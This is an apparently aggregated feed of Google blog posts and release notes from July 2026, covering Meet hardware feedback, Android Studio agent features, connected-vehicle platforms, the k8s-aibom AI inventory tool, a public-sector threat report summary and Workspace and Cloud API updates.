Out-of-Call Feedback: When filing feedback from the touchscreen landing page, users now see a new set of join-related problems, including “Can’t join Meet call” and “Can’t join Teams call.”

Livestream Feedback: Users viewing large-scale livestreams will see dedicated options to report a problem.

Admin console improvements

The Google Meet hardware section of the Admin console now features enhanced monitoring tools. Feedback is no longer proxied as a background telemetry event; it is now a primary, sortable “device information” column within the device list.

Enhancements include two new columns on the device list page, including:

Last feedback submitted - A sortable column displaying the exact timestamp of a device’s most recent report, which can be filtered by 1, 3, 7, or 30 days. Clicking the timestamp opens a side panel containing specific feedback details.
Feedback in the last 28 days - A cumulative count of reports filed for a specific device over a rolling 28-day period, allowing for the identification of recurring faulty devices.

The Google Meet hardware device list featuring new “Last feedback” and “Feedback in last 28 days” columns

Admins can get more information about a specific “Last feedback” by clicking on the date, a side panel will open providing the specific feedback details:

The feedback side panel on the Admin console now shows the new set of problems customers have reported

In addition, we’re introducing a new "With feedback in last 7 days" filter, which instantly prioritizes devices with recent reports and repositions the feedback columns to sit next to the device name for immediate visibility.

A new filter to glance at devices with feedback filed in the last 7 days.

Getting started

Admins: Ensure the “Let users send feedback to Google” checkbox is selected in GMH Settings > Data Sharing > Feedback is ON at the domain or organizational unit (OU) where the device is enrolled. Visit the Help Center to learn more.
End users: Users can report feedback during or after a call or livestream via the “Report a problem” button. Visit the Help Center to learn more.

Rollout pace

Rapid Release and Scheduled Release domains: Gradual rollout (up to 15 days for feature visibility) starting on July 14, 2026

Availability

Available to all Google Workspace customers with Google Meet hardware devices

Resources

Google Meet Hardware Help: Get support for Google Meet hardware
Google Meet Hardware Help: View & edit device information
Google Meet Hardware Help: Monitor the health of devices
Google Meet Hardware Help: How to report a problem from a meeting room device

Reconstructing Pelé’s “lost” goal

2026-07-14T13:00:00+00:00

Pele documentary

Android Studio Quail 2 is Stable: Multi-task with the Android Studio AI agent

2026-07-14T11:00:00+00:00

Posted by Amman Asfaw, Product Manager, Android Studio

Android Studio Quail 2 is now stable and ready for you to use in production, bringing a shift to your IDE with concurrent agentic workflows, natively integrated memory leak profiling, and context-aware crash remediation. Whether you are performing a sweeping architectural overhaul, tracing a memory leak, or resolving a critical production crash, Android Studio keeps you anchored in your workspace by reducing manual friction.

Here’s a deep dive into what’s new:

Multi-tasking with parallel chats

In Android Studio Quail 2, we've been hard at work redesigning Agent Mode from the ground up. This new architecture provides better performance, offers more flexibility for decomposing complex tasks, and improves the suite of internal tools the agent uses to do its work.

In addition to these behind-the-scenes improvements, these changes also allow you to converse across multiple agent chats simultaneously. Waiting for the Android Studio agent to finish a task before you can ask another question or initiate a separate task in Agent Mode is a bottleneck of the past. You can multi-task seamlessly: kick off a UI refactor in one tab, fix a ProGuard rule in a second, and generate documentation in a third.

You can also change which models the agent uses from chat to chat based on the requests you have. Take a look at Android Bench for an analysis of how LLMs perform Android development tasks.

How to use: Click the "+" icon to start a new parallel conversation, and use the History icon to navigate between active tasks. Alternatively, select File > New > New Agent Tab to open a conversation in a dedicated tab.
Note: Worktree support is currently unavailable. Exercise caution when running concurrent chats that modify the same project files, which can potentially lead to editor conflicts.

Run multiple agent tasks in parallel with different models of your choice.

Use the History icon to navigate between active tasks.

Memory leak detection with LeakCanary

Memory leaks in Android occur when your code holds onto an object's reference long after its life cycle has ended. This prevents the Garbage Collector from reclaiming that memory, eventually leading to sluggish performance or OutOfMemoryError.

Hunting down memory leaks can be a tedious, manual task. Starting with Android Studio Quail 2, the popular open-source leak detector LeakCanary is natively integrated directly into the Profiler as a dedicated, first-class task.

This integration transforms your debugging performance by lifting and shifting the heap analysis off your resource-constrained testing phone, and onto your powerful development computer. By running the analysis on your computer, leak tracing is up to five times faster and jank-free, leaving your test app running smoothly on the device.

Once a leak is detected during a profiling session:

The Profiler renders an interactive, color-coded leak trace, grouping occurrences and estimating lost memory.
You can click Go to declaration on any leaking object in the trace to instantly jump to that exact line of code in your editor.
You can click Fix with Agent to have the Gemini agent ingest the trace, explain the root cause of the retained reference, and write the exact code change (such as unbinding a listener or clearing a static reference) to plug the leak.

Review memory leaks identified via LeakCanary through the Fix with Agent button.

App Quality Insights agent integration

Tracking down the root cause of an app crash can require manually synthesizing stack traces, device data, and source code. However Android Studio’s App Quality Insights (AQI) is now fully integrated with Agent Mode to do the heavy lifting for you.

When you click on a crash in the AQI panel, you immediately get a concise, high-level summary of the issue. If you need to dig deeper, simply click See more. This opens a dedicated chat where the agent uses your selected model and pulls in local source code and the full stack trace to deliver a comprehensive explanation of the failure.

With the new agent integration, you move directly from issue identification to resolution. By clicking Fix with AI, the agent will analyze the issue, propose a step-by-step fix plan, and—upon your approval—apply the necessary code changes directly to your project and verify the resulting fix

The Fix with AI button triggering the agent to analyze the issue, then propose the fix

Quality & stability improvements

Beyond new features, we’ve continued our focus on quality by addressing numerous bugs and incorporating the latest stability and performance improvements from the IntelliJ platform, making this a significant enhancement for your daily development.

Get Started

Ready to dive in and accelerate your development? Download Android Studio Quail 2 and start exploring these new features today! As always, your feedback is crucial to us. Check known issues, report bugs, and be part of our vibrant community on LinkedIn, Medium, YouTube, or X.

Workspace Release Notes — July 14, 2026

2026-07-14T07:00:00+00:00

Google Calendar API

Feature

Generally Available: You can now filter calendar list entries to show only calendars belonging to your organization using the new showOwnOrganizationOnly parameter in the calendarList.list endpoint.

To learn more, see the calendarList.list documentation.

Calendar API — July 14, 2026

2026-07-14T07:00:00+00:00

Feature

To learn more, see the calendarList.list documentation.

Cloud Release Notes — July 14, 2026

2026-07-14T07:00:00+00:00

Cloud Tasks

Change

Cloud Tasks is available in the following locations:

me-central1 (Doha, Qatar)
me-central2 (Dammam, Saudi Arabia)

We’re expanding Gemini in Chrome to users in the U.K.

2026-07-14T07:00:00+00:00

Example of Chrome Partner Multi Tab featuring Jet2

How Gemini is speaking the language of Southeast Asia

2026-07-14T04:30:00+00:00

A dotted colorful background, spark, text "Hi Southeast Asia, how can I help?", and a search query "The Gemini Report | Southeast Asia 2026"

Google Credential Provider for Windows (GCPW) now supports FIDO2-compliant physical security keys as a second factor for authentication

2026-07-13T17:45:43+00:00

Getting started

Admins: Visit the Help Center to learn more about enforcing 2SV.
End users: There is no end user setting for this feature.

Rollout pace

Rapid Release and Scheduled Release domains: Gradual rollout (up to 15 days for feature visibility) starting on July 13, 2026

Availability

Available to all Google Workspace customers

Resources

Google Workspace Admin Help: Prepare to install GCPW

Building the AI-defined vehicle with Android, Google Cloud, and Nexus SDV

2026-07-13T16:00:00+00:00

The automotive industry is moving from building hardware-centric platforms toward building their own sophisticated Software-Defined Vehicle (SDV) architectures. For OEMs, a vehicle is no longer just a way to go from point A to point B, but an intelligent, connected node within an AI-native ecosystem!

With its partners, Google’s Android and Google Cloud are at the forefront of this transition. Android’s open source Automotive OS (AAOS) SDV implements the AI-defined vehicle while Google Cloud provides scalable infrastructure including a full suite of AI integration tools, leveraging services like Bigtable for automotive and manufacturing telematics at scale. Valtech, a Google Cloud partner, uses Google technologies as part of its Nexus SDV platform, establishing a full end-to-end connected vehicle system that enables truly agentic mobility, offering automotive OEMs a ready-to-use, end-to-end foundation for the next generation of connected vehicles. Let’s take a look at how this all comes together.

The vehicle side: AAOS SDV

As the foundational in-vehicle platform, Google’s open source AAOS SDV platform abstracts core functions into reusable services independent of physical hardware, establishing a modular Service-Oriented Architecture (SOA). By decoupling non-safety domains like climate control, lighting, and diagnostics from Electronic Control Units (ECUs), the AAOS SDV platform introduces dynamic runtime service discovery. With this, the SDV can easily discover what services are running (e.g., the odometer, HVAC, sunroof, motorized seats, electric windows, etc.) and their status.

To accelerate development, engineering teams leverage the Android Cuttlefish emulator to build digital twins in the cloud, simulating high-frequency sensor streams to validate these decoupled services bit-for-bit before physical silicon is ready. Valtech Nexus SDV utilizes this AAOS SDV middleware layer to discover, map, and manage vehicle resources, structuring and streaming high-frequency telemetry data straight into Bigtable. Compare this to the prior state of affairs, where OEMs outsourced system software to a variety of suppliers, each with their own pipelines, protocols, and data stored in separate silos.

Crucially, this model decouples services from the heavy main infotainment stack, so they can run independently, even when the vehicle is off and parked. This allows functions like remote vehicle monitoring to remain active even when the primary infotainment system is powered down, ensuring continuous telemetry access without draining the vehicle’s 12V battery or main EV battery pack.

This tight integration between the AAOS SDV platform and Nexus SDV enables a number of agentic AI and innovative first-party solutions. Unlike traditional sandboxed infotainment tools, multimodal AI agents can utilize the service discovery layer to safely interact with the physical car and process complex, intent-based requests. For example, an AI agent could automatically adjust climate zones, window actuators, or interior lighting based on a conversation with the driver, or in response to climate sensors, as in this clip:

By linking this on-vehicle service layer managed by Nexus SDV with historical fleet telemetry stored in Bigtable, you deliver deeply integrated experiences that unlock new mobility solutions. Now let’s take a quick look at the Cloud side.

The Google Cloud side: AI-native mobility

Beyond SDV, we are rapidly moving toward AI-defined vehicles, or AIDV, where AI is core to a vehicle's operational logic. To be AI-native means being autonomous by design, with AI embedded at every architectural level. With this level of AI, the system can perceive environments, reason through complex scenarios using engines like Google Gemini, and proactively execute actions. For example, a Gemini-powered vehicle doesn't just warn you that you’re low on power; it analyzes your schedule, traffic, and charger availability to suggest an optimized charging stop that pre-conditions the battery for maximum efficiency. This is the level of contextual understanding and proactive automation that characterizes AIDV.

Compare this to legacy architectures, which weren’t designed to capture the volume and variety of data coming from different systems across the vehicle. This can lead to data silos of isolated maintenance and safety information telematics. Moreover, because this data is fragmented, it can be very difficult to get cohesive value from the data across systems. An AI-native approach can help collapse these silos, providing a unified contextual understanding. This solves a primary OEM pain point: the massive complexity of managing high-bandwidth telemetry from multiple sources like SDV telematics.

Bigtable: The data backbone for Automotive Telemetry

Bigtable was purpose-built for the massive ingestion rates and sub-millisecond latency requirements, and serves as the data backbone for petabyte-scale automotive and manufacturing telemetry datasets. In fact, Bigtable is already being used to support business critical automotive telemetry solutions. Its flexible, sparse-row schema allows OEMs to evolve their data models without downtime, accommodating diverse sensor arrays — from high-frequency engine metrics to LiDAR point clouds — within a single, unified table structure. Then, by versioning time-series events in a way that is natively optimized for both massive writes and complex, multi-dimensional analytical lookups, Bigtable helps avoid the data overload typical of legacy systems.

Meanwhile, features like Continuous Materialized Views (CMV) allow for pre-calculating key metrics, such as average battery temperature or fleet-wide torque distributions, directly within the storage layer, minimizing computational overhead. Bigtable’s integration with Agent Development Kit (ADK) further bridges the gap between data and action by giving AI agents access to data. This kit combined with Bigtable’s integrations with frameworks like Apache Spark help monitor the "firehose" of live telemetry data and trigger automated workflows in real time, e.g., logging mission-critical alerts, initiating proactive over-the-air (OTA) software adjustments, or pre-ordering replacement parts, the moment specific degradation patterns are detected.

Bring it all together: Nexus-SDV platform

The Nexus SDV platform is built on Google Cloud and integrated with AAOS SDV, supporting the future of connected vehicles. By providing a standardized data foundation, Nexus empowers automotive OEMs to go beyond building infrastructure from scratch and start focusing on unique brand experiences.

Nexus SDV uses Google components like Gemini Enterprise Agent Platform, Bigtable, and BigQuery. Setting up Nexus SDV is quick, automated and transparent. OEMs can create brand-specific customer experiences in the vehicle, as well as in other customer touch points such as the UI screen, mobile app, or service centers. The connection to the vehicle is accomplished by leveraging the open source Synadia NATS interface. This integration with the vehicle is facilitated through simple Cloud and vehicle SDKs, for service discovery on both sides. Nexus SDV is optimized for AAOS SDV, but can integrate with any vehicle framework.

Security is woven into the Nexus architecture via a "Defense-in-Depth" model. Mutual TLS (mTLS) and Google Cloud Certificate Authority Service (CAS) provide vehicles with a cryptographically secure identity. Network isolation is maintained through Private GKE clusters, while the Secure AI Framework (SAIF) helps ensure data privacy throughout the machine learning lifecycle, protecting sensitive user data and OEM intellectual property.

Together, the quick setup and integration time coupled with a standardized data foundation and built-in state-of-the-art security leads to an immediate and measurable business impact for the car manufacturer.

Let’s put it all together and look at a use case in more detail…

Predictive maintenance

By moving from reactive to predictive maintenance, OEMs can reduce warranty costs, improve customer loyalty, and ensure higher vehicle uptime.

The challenge: Traditional scheduled maintenance is often inefficient, leading to unnecessary service visits or unexpected vehicle breakdowns that incur significant costs for both OEMs and owners. By moving to a proactive, AI-driven approach, Nexus SDV, Bigtable, and ADK transform this experience. The process begins by taking the firehose of vehicle telemetry data —monitoring engine RPM, vibration, fluid levels, brake pressure, and more — ingesting it and storing it directly into Bigtable.

To enable real-time anomaly detection, agentic AI can monitor telemetry streams as they arrive. Bigtable CMVs pre-calculate rolling aggregations such as average engine vibration or sudden fluctuations in battery temperature profiles. AI models consuming these live aggregates can then detect subtle deviations from normal parameters, identifying early signs of engine wear or accelerated battery degradation long before a warning light appears on the dashboard.

Once an anomaly is detected by specialized AI models, the system shifts into the agentic reasoning and action phase. A Gemini-powered engine assesses the severity and context of the data, considering factors like mileage, model, make, service history, and upcoming trips. Based on this intelligent assessment, the system can proactively notify the driver via the AAOS infotainment system, suggests an optimized service appointment at a nearby dealership, or can even trigger an automated parts order to ensure everything is ready upon arrival. The AI model works against false negatives to protect customer sentiment or erosion of confidence, while the solution as a whole ensures higher vehicle uptime, transforming maintenance from a reactive burden into a brand-defining service experience.

Get started

The AI-native Nexus SDV platform with AAOS SDV is available today, providing a sophisticated, end-to-end connected vehicle ecosystem designed to meet the extreme scale and analytical rigors of modern mobility. By adopting this unified, open-source architecture, OEMs can transcend the limitations of legacy infrastructure and redirect their resources toward the development of high-impact, brand-defining features.

Nexus SDV takes the connected vehicle service into the agentic era, where vehicles are no longer merely connected, but serve as intelligent, proactive partners in the driving experience. Give it a try today.

Learn more

If you’d like to learn more about Nexus SDV platform, AAOS SDV and Bigtable contact us today at nexus-sdv@google.com.

AAOS SDV is available in the Android Automotive 26Q2 release. Nexus SDV documentation can be found here.

Go here to learn more about Bigtable as the time-series database for automotive telemetry.

Thinking about your connected vehicle security, check this out, Shift into high gear with agents: Securing the software-defined vehicle.

Securing the AI supply chain on GKE: Introducing k8s-aibom for automated AI BOMs

2026-07-13T16:00:00+00:00

How should your security team manage shadow AI? Workloads deployed by developers without formal registration can often evade traditional security scanners, because organizations are reluctant to slow down development and compromise stability by demanding privileged Daemonsets, kernel-level access, and manual pod-spec edits.

To break this deadlock, today we are open-sourcing k8s-aibom. This lightweight, unprivileged Kubernetes controller continuously monitors the cluster API and container environments to automatically detect running AI runtimes (like vLLM and Triton) and generate standard CycloneDX Machine Learning Bill of Materials (ML-BOMs).

By providing automated, audit-grade visibility directly from runtime execution — regardless of whether the workload was formally registered — k8s-aibom can help teams safely move AI projects from pilot to production without developer integration friction.

The architecture of zero friction

k8s-aibom is designed from the ground up to respect both the CISO mandate for total visibility and the SRE mandate for cluster stability. It deploys as a single, unprivileged Deployment in the k8s-aibom-system namespace. It involves zero developer friction — no sidecars, no eBPF kernel modules, no privileged DaemonSets, and no modifications to existing developer pod specifications.

k8s-aibom watches for AI workloads and produces BOMs.

The discovery pipeline executes through four clear stages:

Scrape cluster workloads: The controller continuously monitors KServe resources, Deployments, StatefulSets, DaemonSets, and Jobs across the cluster.
Identify AI stacks: Advanced pattern matching inspects container images, environment variables, and command-line arguments to detect serving runtimes (vLLM, Triton Inference Server, TGI, Ollama), autonomous agent frameworks (LangChain, AutoGen, CrewAI), vector databases and RAG stores (Milvus, Qdrant, pgvector), as well as distributed training jobs and evaluation harnesses.
Generate standard manifests: The controller compiles the discovered artifacts into formal OWASP CycloneDX 1.6 Machine Learning Bill of Materials (ML-BOM) documents.
Export to sinks: The controller attaches the resulting ML-BOM directly to the custom resource status (status.bomDocument) of an in-cluster AIBOM Custom Resource (CR) and routes it to optional external sinks, including Google Cloud Storage buckets and external webhook endpoints.

Application teams do not need to modify their pod specifications, inject sidecar containers, or alter their continuous integration and continuous delivery (CI/CD) pipelines. Furthermore, k8s-aibom treats the Kubernetes cluster state as a pure functional input: Identical cluster inputs produce byte-identical ML-BOM documents. This deterministic property makes k8s-aibom an ideal fit for GitOps workflows, enabling site-reliability engineers (SREs) to perform exact diffs and trigger precise change-detection alerts when AI dependencies drift.

Where existing AIBOM tooling falls short

Many AI BOM solutions offer build-time scanners producing BOMs from artifacts at rest. These tools help you track the code that was intended to be deployed.

Commercial AI security platforms extend the picture with cloud-native posture management, but typically through external scanning shaped around vendor-specific data models. Few, if any, of these tools help compliance reviewers, security operations (SecOps) teams, and platform engineers understand what is running right now, what is it connected to, and how can we verify those assertions.

We purpose-built k8s-aibom to bridge that gap. It produces BOMs from live cluster observation rather than artifact scanning, emits standards-conformant CycloneDX 1.6 ML-BOMs that integrate with the broader OWASP and Open Source Security Foundation (OpenSSF) supply-chain ecosystem rather than vendor-proprietary formats, and runs as an unprivileged controller on any conformant Kubernetes cluster — making it complementary to existing build-time and posture-management tooling rather than a replacement for either.

The Confidence Model: Separating intent from inference

For compliance auditors and SecOps engineers, raw telemetry is often noise. Standard monitoring tools indicate that a container is running, but can’t prove whether an AI model was explicitly configured by a platform engineer or dynamically pulled by an autonomous script at runtime. k8s-aibom solves this ambiguity through its deterministic Confidence Model, categorizing discovered assets into distinct tiers:

Declared: Explicitly defined by the customer or developer in the workload configuration (For example, explicitly passed container arguments such as --model meta-llama/Llama-2-7b.) A “declared” confidence detection represents clear human intent.
Inferred: Derived autonomously by the controller's pattern-matching engine through deep inspection of container images, environment variables, and execution profiles. (For example, identifying ^vllm/.* container signatures.)
Unresolved: Applied to workloads where an active AI presence is detected, but exact model parameters, weights, and versions can’t be deterministically established. An “unresolved” confidence detection immediately flags the workload for targeted security review.

This structured taxonomy allows compliance reviewers to instantly separate explicit engineering intent from machine inference, establishing an unassailable chain of trust during audits.

Immutability and least privilege: Building an audit-grade security model

Auditors remain deeply skeptical of standard observability telemetry because logs and metrics can be modified, dropped, and tampered with by compromised nodes or elevated administrators. k8s-aibom establishes an audit-grade evidence trail built on strict least-privilege isolation and data immutability.

The controller operates under a dedicated Kubernetes service account bound to a minimal Identity and Access Management (IAM) Workload Identity. It acts as the sole identity authorized to write BOM records to external storage sinks, requiring only roles/storage.objectCreator permissions.

To satisfy the most stringent audit and evidentiary standards, the Google Cloud Storage external sink implementation enforces DoesNotExist preconditions on object creation. Once an ML-BOM is written to the Cloud Storage bucket, the object becomes cryptographically immutable.

It can’t be silently overwritten, modified, or retroactively tampered with by compromised cluster actors or rogue workloads. SecOps teams gain absolute assurance that the historical audit log presented to regulators represents an unalterable record of cluster execution.

Accelerating governance readiness: Mapping to global regulatory frameworks

By automating the generation of standardized CycloneDX 1.6 ML-BOMs, k8s-aibom directly bridges the gap between low-level Kubernetes runtime state and high-level governance frameworks. It unblocks stalled GKE AI deployments by providing the foundational empirical data essential to major global standards:

EU AI Act: Designed to help organizations align with Article 12 (automated logging and record-keeping for continuous traceability) and Article 50 (transparency obligations for AI systems). By automatically cataloging serving runtimes and agent stacks, the tool helps simplify the gathering of technical evidence that may be needed during compliance audits.
NIST AI Risk Management Framework (AI RMF): Provides continuous, empirical asset visibility that can help support the Govern, Map, Measure, and Manage functions, helping shift compliance workflows from purely manual checks toward more automated asset inventory tracking.
ISO/IEC 42001:Supports compliance efforts for AI management system asset discovery and tracking, reducing the reliance on manual spreadsheets or periodic snapshot audits for inventory validation.

Getting started

It’s rare that a technical solution like k8s-aibom can help mitigate the multi-faceted problem of shadow AI, impacting CISOs, governance, risk, and compliance teams, SecOps teams, platform engineers, and developers.

To learn more by inspecting the controller, review the CRD definitions, and contribute to the open-source k8s-aibom project, please visit the k8s-aibom GitHub Repository.

Optimize your reach and frequency across campaigns with video campaign groups.

2026-07-13T16:00:00+00:00

Coordinate reach and frequency across campaigns while still maintaining individual campaign settings.

Key findings from the 2026 Public Sector M-Trends report and beyond

2026-07-13T16:00:00+00:00

In 2026, the public sector is no longer defending a traditional perimeter. Instead, they are defending a complex web of interconnected trust relationships against adversaries that now operate at machine speed. We recently published the 2026 Public Sector Threat Landscape: M-Trends and Beyond report, which distills more than 500,000 hours of frontline incident investigations conducted by Mandiant in 2025, specifically tailored to the mission-critical needs of public sector leaders.

Key findings from the report and what they mean for the public sector

The most alarming trend in this year’s M-Trends data is the 22-second hand-off: the median time between an initial access broker establishing a foothold and the hand-off to a ransomware operator. This extreme compression of the attack cycle renders traditional, human-speed triage obsolete. When an infection on a municipal workstation can move to an encrypted network before a human analyst can even open a ticket, the strategic mandate for resilience must pivot toward machine-speed defense.

Additionally, the report uncovered several emerging "boundaries of trust" that adversaries are systematically exploiting:

The persistence paradox: State-sponsored espionage actors are pursuing multi-year persistence, with some remaining undetected for over five years. This "persistence paradox" directly challenges standard 90-day telemetry retention policies, often leaving agencies unable to quantify the full impact of a breach.
The virtualization stack: Attackers are moving "down the stack" to target the virtualization management plane. Techniques like "snapshot mounting" allow attackers to bypass guest-level security tools, creating snapshots of domain controllers to steal databases offline.
The SaaS domino effect: At the state and local levels, the reliance on third-party cloud tools has turned integrations into threat vectors. Exploiting non-human identities (NHIs) like service accounts and OAuth tokens allows a single compromise to trigger a chain reaction across an entire agency network.
The vishing surge: Voice phishing (vishing) has surged to 11% of global infections. These highly effective social engineering attacks target government help desks to reset passwords or enroll unauthorized devices. This proves that the ‘human element’—the administrative trust placed in help desk staff and IT administrators—is now a primary vector for establishing initial access.

A mandate for continuous verification

Looking ahead, resilience in the public sector will require more than a compliance checklist; it demands a cultural pivot to continuous verification—a security doctrine where trust is never assumed and must be constantly re-validated. Success is no longer just defined by the absence of a breach, but also by an agency’s ability to remain operational while under active attack. At Google, we provide the technical architecture to make continuous verification a reality through three core capabilities.

Identity as the new perimeter: Through Chrome Enterprise Premium, we replace traditional VPNs with context-aware access. We verify the user’s identity and the security posture of their device for every single application request, ensuring that access is only granted under the right conditions.

Agentic defense: We enable agencies to ingest and analyze massive telemetry datasets in real-time using Google Security Operations, which includes threat-centric case management, interactive, context-rich alert graphing, and automatic stitching together of entities. This allows for the "Machine-Speed" detection required to spot an adversary within the 22-second hand-off window, turning manual triage into automated, continuous monitoring. To stay ahead of these rapid shifts, this operational stack is directly infused with Google Threat Intelligence, exposing global actor infrastructure and matching internal telemetry with Mandiant’s frontline incident insights in real time.

At Google Cloud Next ‘26, we announced three new AI-powered autonomous agents within Google Security Operations: a Threat Hunting agent to proactively unearth hidden attack patterns, a Detection Engineering agent to automatically close telemetry coverage gaps, and a Third-Party Context agent to seamlessly enrich analyst workflows.

Hardened infrastructure: By moving "down the stack" with Security Command Center and leveraging our strategic partnership with Wiz, we offer deep visibility into the virtualization and cloud layers. This allows agencies to continuously verify the integrity of their hypervisors and cloud configurations, automatically detecting unauthorized "Snapshot Mounting" or configuration drifts that adversaries exploit for persistence. By hardening the administrative fabric—including identity and virtualization—and modernizing log retention to close the visibility gap, government leaders can move from a state of reactive triage to a future of context-aware resilience.

Google security in action

Google’s security technology comes to life across the public sector, where agencies are successfully shifting from manual triage to agentic defense, and accelerating their security transformation. The Pasco Sheriff’s Office transformed its security and operations, unifying siloed tools with Google Security Operations to boost efficiency, improve community safety, and champion secure AI for law enforcement. Meanwhile, the State of Connecticut moved from a fragmented operating model to a unified, proactive security posture using Google Security Operations to reduce forensic investigation times from months to mere hours and create a secure-by-design digital infrastructure for the future of public service.

Secure your future

Download the 2026 Public Sector Threat Landscape: M-Trends and Beyond report to explore the data and strategic recommendations for the latest insights and trends and what they mean for the public sector. Catch the replay of our Gemini for Government webinar to dive deeper into securing and governing an agent.

Empowering India’s next generation of innovators with ATL Saathi

2026-07-13T12:37:28+00:00

Google and AIM launched ATL Saathi, a Gemini-powered AI tool empowering Indian educators in robotics labs.

Waze rolls out new customization features and more Gemini updates

2026-07-13T09:00:00+00:00

Waze motorcycle mode

Workspace Release Notes — July 13, 2026

2026-07-13T07:00:00+00:00

Chat API

Feature

Generally Available: Subscriptions to user read state updates in Google Chat are now generally available.

You can use the Google Workspace Events API to subscribe to user read state updates in Google Chat. The following event types are supported:

google.workspace.chat.spaceReadState.v1.updated: A user's space read state is updated.
google.workspace.chat.threadReadState.v1.updated: A user's thread read state is updated.
google.workspace.chat.spaceReadState.v1.batchUpdated: Multiple space read states are updated for the subscribed user.
google.workspace.chat.threadReadState.v1.batchUpdated: Multiple thread read states are updated for the subscribed user.

This feature requires the https://www.googleapis.com/auth/chat.users.readstate or https://www.googleapis.com/auth/chat.users.readstate.readonly authorization scope.

To learn more, see Subscribe to Google Chat events.

Google Sheets API

Feature

Developer Preview: The Model Context Protocol (MCP) server for Google Sheets is now available in developer preview. MCP is an open protocol that enables seamless integration between AI applications and your spreadsheets. By configuring the Sheets MCP server, you enable AI agents to securely interact with your spreadsheets and take actions, such as reading cell values or updating formulas.

To get started with the Sheets MCP server, see the following documentation:

To find more available MCP servers, see Model Context Protocol (MCP) servers in Google Workspace.

Google Slides API

Feature

Developer Preview: The Model Context Protocol (MCP) server for Google Slides is now available in developer preview. MCP is an open protocol that enables seamless integration between AI applications and your presentations. By configuring the Slides MCP server, you enable AI agents to securely interact with your presentations and take actions, such as reading slide content or updating layouts.

To get started with the Slides MCP server, see the following documentation:

To find more available MCP servers, see Model Context Protocol (MCP) servers in Google Workspace.

Google Workspace Events API

Feature

Generally Available: Subscriptions to user read state updates in Google Chat are now generally available.

You can use the Google Workspace Events API to subscribe to user read state updates in Google Chat. The following event types are supported:

google.workspace.chat.spaceReadState.v1.updated: A user's space read state is updated.
google.workspace.chat.threadReadState.v1.updated: A user's thread read state is updated.
google.workspace.chat.spaceReadState.v1.batchUpdated: Multiple space read states are updated for the subscribed user.
google.workspace.chat.threadReadState.v1.batchUpdated: Multiple thread read states are updated for the subscribed user.

This feature requires the https://www.googleapis.com/auth/chat.users.readstate or https://www.googleapis.com/auth/chat.users.readstate.readonly authorization scope.

To learn more, see Subscribe to Google Chat events.

Cloud Release Notes — July 13, 2026

2026-07-13T07:00:00+00:00

Dataform

Security

A Missing Authorization vulnerability was discovered in repositories in BigQuery, Dataform, and Colab Enterprise. An authenticated attacker could potentially escalate permissions and perform cross-tenant repository takeover. For more information, see the GCP-2026-047 Dataform security bulletin.

Cloud Release Notes — July 12, 2026

2026-07-12T07:00:00+00:00

Google SecOps

Feature

Publisher Agent Version 2.7.0

Publisher Agent Version 2.7.0 is now available for all regions.

This release includes the following updates for the remote agent:

High Availability support: Adds applicative support for Publisher high availability.
File transfer support: You can now upload and download files using playbooks and the SDK on agents that have been migrated to the GCOM infrastructure.

Google SecOps SOAR

Feature

Publisher Agent Version 2.7.0

Publisher Agent Version 2.7.0 is now available for all regions.

Cloud Release Notes — July 11, 2026

2026-07-11T07:00:00+00:00

Google SecOps SOAR

Announcement

Release 6.3.92 is now available for all regions.

Google Workspace Weekly Recap - July 10, 2026

2026-07-10T20:19:20+00:00

Join video conferences on Google Meet hardware via SIP through Pexip

You can now join video conferences on Google Meet hardware via SIP through a Pexip interop gateway. This brings universal connectivity for users to join meetings hosted on any SIP-compatible platform directly from their Meet rooms. The functionality is available for room hardware based on both Android and ChromeOS. | Learn more.

Occupancy counting now available for Google Meet on Neat room hardware

Occupancy counting is now available for Android-based Neat room hardware to help measure how meeting rooms are used. This feature brings the same occupancy counting capabilities found on ChromeOS devices to Android-based hardware. | Learn more.

Fill with Gemini in Sheets now available in 11 additional languages

We're leveraging the capabilities of the AI function in Google Sheets, Fill with Gemini eliminates the need for complex formulas, helping you easily generate text, summarize information, categorize data, or analyze sentiment at scale with generated content appearing directly in the cells you choose. | Learn more.

New calendar sharing permission level and changes to recurring event visibility

We're introducing a new calendar sharing permission level: “Make changes (see private events as free/busy)”. This allows you to grant someone edit access to your calendar while keeping the details of your private events entirely hidden. This is especially useful for leaders who assign delegates to help them manage their calendars. | Learn more.

Convert your Google Slides to videos in 7 additional languages

Google Vids already lets you convert your Slides content into Vids with AI-generated scripts, voiceovers, background music, and animations for presentations and accounts in English. We’re now expanding support to French, German, Italian, Japanese, Korean, Portuguese, and Spanish. | Learn more.

Streamline identity lifecycle management in Google Workspace with new inbound SCIM support

We are excited to announce the general availability of Google Workspace inbound SCIM APIs to help IT administrators standardize identity lifecycle management. This new capability allows you to sync your Google Workspace directory in real time with any SCIM-compatible Identity Provider (IdP), HR system (HRIS), or custom application. | Learn more.

The announcements above were published on the Workspace Updates blog over the last week. Please refer to the original blog posts for complete details.

Contributing to U.K. financial sector resilience as a critical third party

2026-07-10T17:00:00+00:00

At Google Cloud, we take our role in the financial ecosystem very seriously. We firmly believe that operational resilience is essential to driving and sustaining responsible innovation.

Today, we mark a milestone in our ongoing commitment to the financial sector that’s directly relevant to our customers in the U.K. On July 10, the U.K. Treasury designated Google Cloud EMEA as a critical third party (CTP) to the U.K. financial sector under the CTP regime.

This designation takes account of the number and type of U.K. firms using our services and the materiality of their use cases. We acknowledge HMT’s decision on the systemic impact of our services and are committed to playing our part in safeguarding the stability of, and confidence in, the U.K. financial system.

Building sector-wide resilience

As a CTP, Google Cloud EMEA will be directly overseen by the Bank of England, the Prudential Regulation Authority (PRA), and the Financial Conduct Authority (FCA). These authorities are known collectively as the U.K. financial regulators.

In their oversight of CTPs, the U.K. financial regulators will aim to build sector-wide operational resilience. Google Cloud wholeheartedly supports this objective.

We will continue to engage constructively with the U.K. financial regulators as we enter this new phase of deeper collaboration. We are confident that this ongoing dialogue will deliver tangible benefits for the U.K. financial sector.

Enabling customer success

Alongside our commitment to effective oversight, Google Cloud remains dedicated to supporting our customers with the requirements for U.K. firms relating to operational resilience, outsourcing and third party risk management.

We provide insight into how Google Cloud can help customers meet their operational resilience obligations under PRA Supervisory Statement 1/21 in our SS1/21 whitepaper.
We explain how Google Cloud’s contracts for UK firms address the outsourcing and third party risk management requirements under PRA Supervisory Statement 2/21 our SS2/21 mapping.

While the CTP regime does not replace these requirements, it is designed to complement them. We are confident that it will.

Looking ahead

We look forward to collaborating with the U.K. financial regulators under the CTP regime. We will do so with the same commitment to ongoing transparency and assurance that we offer our customers and their regulators today.

As this new era begins, our core objective remains unchanged: to ensure Google Cloud is the most secure, scalable, and resilient platform for digital transformation.

